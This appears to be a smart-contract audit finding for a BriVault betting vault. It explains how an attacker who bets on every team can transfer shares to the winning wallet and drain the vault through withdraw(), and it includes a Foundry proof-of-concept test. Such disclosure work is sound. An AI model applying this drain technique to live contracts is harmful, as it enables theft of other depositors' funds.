When other users deposit and join the event, the finalized vault balance increases. A winner is set by the admin.
The attacker is the first to withdraw, calls withdraw() function, since the function checks balance of shares of msg.sender with this line uint256 shares = balanceOf(msg.sender); at the time of withdrawing, the attacker transfers the large shares to the wallet that bet on the winner, this will drain all the assets in the vault leaving it empty despite other users having also won.
High: This happens when a user bets on all teams possible and transfers shares to the winning wallet on withdrawing.
function setUp() public {
participationFeeBsp = 150;
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
participationFeeAddress = makeAddr("participationFeeAddress");
minimumAmount = 0.0002 ether;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(owner, 20 ether);
mockToken.mint(user1, 20 ether);
mockToken.mint(user2, 20 ether);
mockToken.mint(user3, 20 ether);
mockToken.mint(user4, 20 ether);
mockToken.mint(user5, 20 ether);
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate,
participationFeeAddress,
minimumAmount,
eventEndDate
);
briVault.approve(address(mockToken), type(uint256).max);
briVault.setCountry(countries);
vm.stopPrank();
}
function testTransferSharesToWinningWallet() public {
address user = makeAddr("user");
uint256 amount = 1_000_000 ether;
mockToken.mint(user, amount);
vm.startPrank(user);
mockToken.approve(address(briVault), type(uint256).max);
uint256 sharesReceived = briVault.deposit(amount, user);
briVault.joinEvent(47);
vm.stopPrank();
uint256 assets = 0.00021 ether;
address[] memory attackerWallets = new address[](47);
attackerWallets[0] = makeAddr("1");
attackerWallets[1] = makeAddr("2");
attackerWallets[2] = makeAddr("3");
attackerWallets[3] = makeAddr("4");
attackerWallets[4] = makeAddr("5");
attackerWallets[5] = makeAddr("6");
attackerWallets[6] = makeAddr("7");
attackerWallets[7] = makeAddr("8");
attackerWallets[8] = makeAddr("9");
attackerWallets[9] = makeAddr("10");
attackerWallets[10] = makeAddr("11");
attackerWallets[11] = makeAddr("12");
attackerWallets[12] = makeAddr("13");
attackerWallets[13] = makeAddr("14");
attackerWallets[14] = makeAddr("15");
attackerWallets[15] = makeAddr("16");
attackerWallets[16] = makeAddr("17");
attackerWallets[17] = makeAddr("18");
attackerWallets[18] = makeAddr("19");
attackerWallets[19] = makeAddr("20");
attackerWallets[20] = makeAddr("21");
attackerWallets[21] = makeAddr("22");
attackerWallets[22] = makeAddr("23");
attackerWallets[23] = makeAddr("24");
attackerWallets[24] = makeAddr("25");
attackerWallets[25] = makeAddr("26");
attackerWallets[26] = makeAddr("27");
attackerWallets[27] = makeAddr("28");
attackerWallets[28] = makeAddr("29");
attackerWallets[29] = makeAddr("30");
attackerWallets[30] = makeAddr("31");
attackerWallets[31] = makeAddr("32");
attackerWallets[32] = makeAddr("33");
attackerWallets[33] = makeAddr("34");
attackerWallets[34] = makeAddr("35");
attackerWallets[35] = makeAddr("36");
attackerWallets[36] = makeAddr("37");
attackerWallets[37] = makeAddr("38");
attackerWallets[38] = makeAddr("39");
attackerWallets[39] = makeAddr("40");
attackerWallets[40] = makeAddr("41");
attackerWallets[41] = makeAddr("42");
attackerWallets[42] = makeAddr("43");
attackerWallets[43] = makeAddr("44");
attackerWallets[44] = makeAddr("45");
attackerWallets[45] = makeAddr("46");
attackerWallets[46] = makeAddr("47");
for (uint8 i; i < attackerWallets.length; ++i) {
mockToken.mint(attackerWallets[i], assets);
vm.startPrank(attackerWallets[i]);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(assets, attackerWallets[i]);
briVault.joinEvent(i);
vm.stopPrank();
}
address[] memory otherUsers = new address[](10);
otherUsers[0] = makeAddr("111");
otherUsers[1] = makeAddr("222");
otherUsers[2] = makeAddr("322");
otherUsers[3] = makeAddr("444");
otherUsers[4] = makeAddr("55");
otherUsers[5] = makeAddr("66");
otherUsers[6] = makeAddr("77");
otherUsers[7] = makeAddr("88");
otherUsers[8] = makeAddr("99");
otherUsers[9] = makeAddr("100");
uint256 len2 = otherUsers.length;
for (uint8 x; x < len2; ++x) {
if (x < 3) {
vm.startPrank(otherUsers[x]);
mockToken.mint(otherUsers[x], 20_000 ether);
uint256 amount = 20_000 ether;
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(amount, otherUsers[x]);
briVault.joinEvent(5);
vm.stopPrank();
} else {
vm.startPrank(otherUsers[x]);
mockToken.mint(otherUsers[x], 100_000 ether);
uint256 amount2 = 100_000 ether;
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(amount2, otherUsers[x]);
briVault.joinEvent(10);
vm.stopPrank();
}
}
vm.warp(block.timestamp + 2 days + 1 seconds);
vm.warp(block.timestamp + 31 days);
vm.startPrank(owner);
briVault.setWinner(5);
vm.stopPrank();
vm.startPrank(user);
briVault.transfer(attackerWallets[5], 5.91e22);
vm.stopPrank();
vm.startPrank(attackerWallets[5]);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(otherUsers[0]);
vm.expectRevert();
briVault.withdraw();
vm.stopPrank();
}